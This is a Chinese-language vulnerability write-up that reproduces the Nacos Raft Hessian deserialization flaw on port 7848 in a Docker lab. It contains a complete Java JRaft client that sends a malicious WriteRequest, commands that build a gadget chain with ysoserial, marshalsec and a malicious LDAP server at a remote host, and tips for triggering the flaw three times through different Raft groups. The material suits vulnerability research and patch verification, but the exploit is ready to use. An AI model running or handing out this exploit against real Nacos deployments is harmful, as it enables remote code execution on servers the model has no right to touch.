Nacos Raft Hessian反序列化漏洞分析

Nacos默认的7848端口是用于Nacos集群间Raft协议的通信,该端口的服务在处理部分Jraft请求时会使用Hessian进行反序列化

影响版本

  • 1.4.0 <= Nacos < 1.4.6

  • 2.0.0 <= Nacos < 2.2.3

前置知识

grpc-java

作为分析该漏洞的前置知识,需要对照官方文档快速学一下(搜了一些教程,但讲的版本比较老了,很多不兼容的地方,Nacos用的是比较新的版本,所以还是以官方教程学习靠谱)

添加依赖

创建Maven项目 grpc_demo,依赖参考官方README

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<dependency>
<groupId>io.grpc</groupId>
<artifactId>grpc-netty-shaded</artifactId>
<version>1.50.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>io.grpc</groupId>
<artifactId>grpc-protobuf</artifactId>
<version>1.50.2</version>
</dependency>
<dependency>
<groupId>io.grpc</groupId>
<artifactId>grpc-stub</artifactId>
<version>1.50.2</version>
</dependency>

<!--运行服务端需要-->
<dependency>
<groupId>io.grpc</groupId>
<artifactId>grpc-api</artifactId>
<version>1.50.2</version>
</dependency>

定义服务

在src/main目录下创建proto目录,并创建文件helloworld.proto,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
syntax = "proto3";

option java_multiple_files = true;
option java_package = "com.example.grpc.api";

service Greeter {
rpc SayHello (HelloRequest) returns (HelloReply) {}
}

message HelloRequest {
string name = 1;
}

message HelloReply {
string message = 1;
}

生成客户端和服务端代码

可以用Maven插件或者命令行工具生成,我觉得用命令行工具更加清晰,用法参考 https://grpc.io/docs/languages/java/basics/#generating-client-and-server-codehttps://grpc.io/docs/languages/java/generated-code/

下载protobuf

https://github.com/protocolbuffers/protobuf/releases/tag/v23.2

下载自己系统对应的版本并放入proto目录

下载protoc-gen-grpc-java

https://repo1.maven.org/maven2/io/grpc/protoc-gen-grpc-java/1.9.1/

同样下载和系统对应的版本放入proto目录

生成代码

cd到proto目录,将下载的protoc-gen-grpc-java重命名为标准名称,添加可执行权限,并运行protoc生成代码

1
2
3
mv protoc-gen-grpc-java-1.9.1-osx-x86_64.exe protoc-gen-grpc-java
chmod +x protoc-gen-grpc-java
./protoc --plugin=protoc-gen-grpc-java --grpc-java_out=../java --java_out=../java helloworld.proto

创建服务端

实现具体代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.example.grpc.service;

import com.example.grpc.api.GreeterGrpc;
import com.example.grpc.api.HelloReply;
import com.example.grpc.api.HelloRequest;
import io.grpc.stub.StreamObserver;

public class GreeterService extends GreeterGrpc.GreeterImplBase {
@Override
public void sayHello(HelloRequest request, StreamObserver<HelloReply> responseObserver) {
String name = request.getName();
HelloReply helloReply = HelloReply.newBuilder().setMessage("Hello, "+name).build();
responseObserver.onNext(helloReply);
responseObserver.onCompleted();
}
}

运行服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.example.grpc;

import com.example.grpc.service.GreeterService;
import io.grpc.Server;
import io.grpc.ServerBuilder;

import java.io.IOException;

public class GreeterServer {
public static void main(String[] args) throws IOException, InterruptedException {
int port = 8888;
Server server = ServerBuilder.forPort(port).addService(new GreeterService()).build();
server.start();

System.out.println("Running...");
server.awaitTermination();
}
}

创建客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.example.grpc;

import com.example.grpc.api.GreeterGrpc;
import com.example.grpc.api.HelloReply;
import com.example.grpc.api.HelloRequest;
import io.grpc.Channel;
import io.grpc.ManagedChannelBuilder;

public class GreeterClient {
public static void main(String[] args) {
String host = "127.0.0.1";
int port = 8888;

Channel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();
GreeterGrpc.GreeterBlockingStub greeterBlockingStub = GreeterGrpc.newBlockingStub(channel);
HelloRequest helloRequest = HelloRequest.newBuilder().setName("leixiao").build();
HelloReply helloReply = greeterBlockingStub.sayHello(helloRequest);
System.out.println(helloReply.getMessage());
}
}

运行客户端后,便完成了一次gRPC请求和响应

JRaft

Raft是一种共识算法,JRaft是其Java实现,可以看一下官方的Demo

漏洞环境

Dockerfile

nacos-server-2.2.2.tar.gz

1
2
3
4
5
6
7
8
FROM openjdk:8u342-jre

ADD nacos-server-2.2.2.tar.gz /root

RUN apt update && \
apt install net-tools procps -y

WORKDIR /root

docker-compose.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
version: '3'

services:
nacos:
build: .
container_name: nacos
ports:
- 5005:5005
- 7848:7848
- 8848:8848
environment:
- JAVA_OPT=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
command:
- /bin/sh
- -c
- |
bash nacos/bin/startup.sh -m standalone
tail -f nacos/logs/start.out

漏洞分析

修复代码中添加了Hessian反序列化白名单:https://github.com/alibaba/nacos/pull/10542/files

那么最终反序列化的地方很清楚,即:

com.alibaba.nacos.consistency.serialize.HessianSerializer#deserialize

再根据漏洞描述——“该漏洞仅影响7848端口(默认设置下),一般使用时该端口为Nacos集群间Raft协议的通信端口”,找到可能的漏洞触发点:

在JRaft中,提交的任务最终将会复制应用到所有 raft 节点上的状态机。onApply 是StateMachine最核心的方法。

com.alibaba.nacos.core.distributed.raft.NacosStateMachine#onApply

1
2
3
4
5
6
7
public void onApply(Iterator iter) {
...
if (message instanceof WriteRequest) {
Response response = processor.onApply((WriteRequest) message);
postProcessor(response, closure);
}
...

processor.onApply有多个实现,先看如下这个:

com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl#onApply

1
2
public Response onApply(WriteRequest request) {
final InstanceStoreRequest instanceRequest = serializer.deserialize(request.getData().toByteArray());

另外在com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl中有个group方法如下,NAMING_PERSISTENT_SERVICE_GROUP_V2的值即naming_persistent_service_v2会在后面客户端的代码中用到

1
2
3
public String group() {
return Constants.NAMING_PERSISTENT_SERVICE_GROUP_V2;
}

group()是作为groupId用于创建RaftGroupService:

com.alibaba.nacos.core.distributed.raft.JRaftServer#createMultiRaftGroup

1
2
3
4
5
6
7
synchronized void createMultiRaftGroup(Collection<RequestProcessor4CP> processors) {
...
for (RequestProcessor4CP processor : processors) {
final String groupName = processor.group();
...
RaftGroupService raftGroupService = new RaftGroupService(groupName, localPeerId, copy, rpcServer, true);
...

构造请求

在源码中并没有WriteRequestResponse等类的定义,他们都在nacos-2.2.2/consistency/src/main/proto/consistency.proto 文件中,将该文件复制到文章开头创建的 grpc_demo 项目的proto目录中,借助protoc命令行工具生成代码

1
./protoc --plugin=protoc-gen-grpc-java --grpc-java_out=../java --java_out=../java consistency.proto

然后参考JRaft给出的Demo,可以写出相应的客户端代码:

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>com.alipay.sofa</groupId>
<artifactId>jraft-core</artifactId>
<version>1.3.12</version>
</dependency>
<dependency>
<groupId>com.alipay.sofa</groupId>
<artifactId>rpc-grpc-impl</artifactId>
<version>1.3.12</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package org.example;

import com.alibaba.nacos.consistency.entity.WriteRequest;
import com.alipay.sofa.jraft.entity.PeerId;
import com.alipay.sofa.jraft.option.CliOptions;
import com.alipay.sofa.jraft.rpc.impl.GrpcClient;
import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper;
import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;
import com.google.protobuf.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Map;

public class App
{
public static void main( String[] args ) throws Exception {
String address = "127.0.0.1:7848";
byte[] poc = getPoc();

CliClientServiceImpl cliClientService = new CliClientServiceImpl();
cliClientService.init(new CliOptions());
PeerId leader = PeerId.parsePeer(address);

WriteRequest request = WriteRequest.newBuilder()
.setGroup("naming_persistent_service_v2")
.setData(ByteString.copyFrom(poc))
.build();

GrpcClient grpcClient = (GrpcClient) cliClientService.getRpcClient();

//反射添加WriteRequest,不然会抛出异常
Field parserClassesField = GrpcClient.class.getDeclaredField("parserClasses");
parserClassesField.setAccessible(true);
Map<String, Message> parserClasses = (Map) parserClassesField.get(grpcClient);
parserClasses.put(WriteRequest.class.getName(),WriteRequest.getDefaultInstance());
MarshallerHelper.registerRespInstance(WriteRequest.class.getName(),WriteRequest.getDefaultInstance());

Object res = grpcClient.invokeSync(leader.getEndpoint(), request,5000);
System.out.println(res);
}
}

断点调试

可以在关键的几处下断点观察:

com.alibaba.nacos.core.distributed.raft.NacosStateMachine#onApply

com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl#onApply

com.alibaba.nacos.consistency.serialize.HessianSerializer#deserialize(byte[])

Gadget

目前只是成功让代码走到反序列化的点,还需要构造Hession反序列化的POC:

  1. 通过JNDI-Injection-LDAP-Deserialization启动恶意ldap服务,并使用y4er师傅改的ysoserial中Jackson这条链
1
java -jar JNDI-Injection-LDAP-Deserialization-1.0-SNAPSHOT.jar 1389 `java -jar ~/Tools/Y4er_ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar Jackson 'touch /tmp/success'|base64`
  1. 然后通过marshasec生成JDNI注入的POC
1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringPartiallyComparableAdvisorHolder ldap://host.docker.internal:1389/exp |base64

其他

其实前面很多分析过程是有省略的,感觉都写下来会很乱,所以挑了一条漏洞的链路完成漏洞的复现,准备在后面补充一些细节

只能打一次?

按前文的POC第一次攻击7848端口的话,调用栈如下:

1
2
3
4
5
6
7
8
9
10
deserialize(byte[]), HessianSerializer
onApply(WriteRequest), PersistentClientOperationServiceImpl
onApply(Iterator), NacosStateMachine
doApplyTasks(IteratorImpl), FSMCallerImpl
doCommitted(long), FSMCallerImpl
runApplyTask(FSMCallerImpl$ApplyTask, long, boolean), FSMCallerImpl
access$100(FSMCallerImpl, FSMCallerImpl$ApplyTask, long, boolean), FSMCallerImpl
onEvent(FSMCallerImpl$ApplyTask, long, boolean), FSMCallerImpl$ApplyTaskHandler
onEvent(Object, long, boolean), FSMCallerImpl$ApplyTaskHandler
run(), BatchEventProcessor

JRaft客户端得到的返回数据是反序列化中的异常信息,说明已经完成反序列化过程,这里没有问题

但是同样的POC,运行第二次,返回信息是:

并且代码无法进入上述调用栈,感觉这里可能和Raft的算法或者协议有关,重启环境也不行。需要销毁环境,重新创建:

1
docker-compose down; docker-compose up -d

多条触发链路

在前文中提到的com.alibaba.nacos.core.distributed.raft.JRaftServer#createMultiRaftGroup中创建RaftGroupService的地方下断点,并且对环境进行销毁重启,在重启的同时IDEA连上调试

会发现其实不只存在一个RaftGroupService:

1
2
3
naming_persistent_service_v2
naming_instance_metadata
naming_service_metadata

他们分别对应的”onApply”如下:

com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl#onApply

1
2
public Response onApply(WriteRequest request) {
final InstanceStoreRequest instanceRequest = serializer.deserialize(request.getData().toByteArray());

com.alibaba.nacos.naming.core.v2.metadata.InstanceMetadataProcessor#onApply

1
2
3
public Response onApply(WriteRequest request) {
MetadataOperation<InstanceMetadata> op = serializer.deserialize(request.getData().toByteArray(), processType);
...

com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadataProcessor#onApply

1
2
3
public Response onApply(WriteRequest request) {
MetadataOperation<ServiceMetadata> op = serializer.deserialize(request.getData().toByteArray(), processType);
...

都有反序列化操作,所以,打完一个”group”后,可以打另外一个”group”,这样漏洞至少可以打3次:

1
2
3
4
5
6
WriteRequest request = WriteRequest.newBuilder()
.setGroup("naming_persistent_service_v2")
//.setGroup("naming_instance_metadata")
//.setGroup("naming_service_metadata")
.setData(ByteString.copyFrom(poc))
.build();

参考

https://y4er.com/posts/nacos-hessian-rce/